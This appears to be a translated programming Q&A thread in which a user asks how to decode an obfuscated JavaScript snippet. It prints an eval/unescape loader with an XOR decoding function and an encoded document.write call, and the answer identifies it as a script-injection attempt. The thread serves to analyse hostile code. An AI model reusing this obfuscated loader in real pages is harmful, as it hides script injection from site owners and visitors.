如何解密或解码此JavaScript

时间:2013-09-11 17:31:11

标签: javascript encryption decode

我正在尝试解密此代码:

eval(unescape("%66%75%6E%63%74%69%6F%6E%20%68%70%5F%64%31%31%28%73%29%7B%76%61%72%20%6F%3D%22%22%2C%61%72%3D%6E%65%77%20%41%72%72%61%79%28%29%2C%6F%73%3D%22%22%2C%69%63%3D%30%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%7B%63%3D%73%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%3B%69%66%28%63%3C%31%32%38%29%63%3D%63%5E%32%3B%6F%73%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%63%29%3B%69%66%28%6F%73%2E%6C%65%6E%67%74%68%3E%38%30%29%7B%61%72%5B%69%63%2B%2B%5D%3D%6F%73%3B%6F%73%3D%22%22%7D%7D%6F%3D%61%72%2E%6A%6F%69%6E%28%22%22%29%2B%6F%73%3B%72%65%74%75%72%6E%20%6F%7D"));

eval(hp_d11(unescape("fmawoglv,upkvg*%25>qap%25%22)%22%25krv%22qpa? %25%22)]gfkvmp]wpn)%22%25ocekagfkvmp,hq %25+9")));

到目前为止,我已经解密了第一部分:

eval(unescape("function hp_d11(s){var o="",ar=new Array(),os="",ic=0;for(i=0;i<s.length;i++){c=s.charCodeAt(i);if(c<128)c=c^2;os+=String.fromCharCode(c);if(os.length>80){ar[ic++]=os;os=""}}o=ar.join("")+os;return o}"));

但我无法弄清楚第二部分。 有人可以帮忙吗?请?

1 个答案:

答案 0 :(得分:0)

这是脚本注入的尝试,这是

的结果
hp_d11(unescape("fmawoglv,upkvg*%25>qap%25%22)%22%25krv%22qpa? %25%22)]gfkvmp]wpn)%22%25ocekagfkvmp,hq %25+9"))

将是一个带有脚本路径的document.write。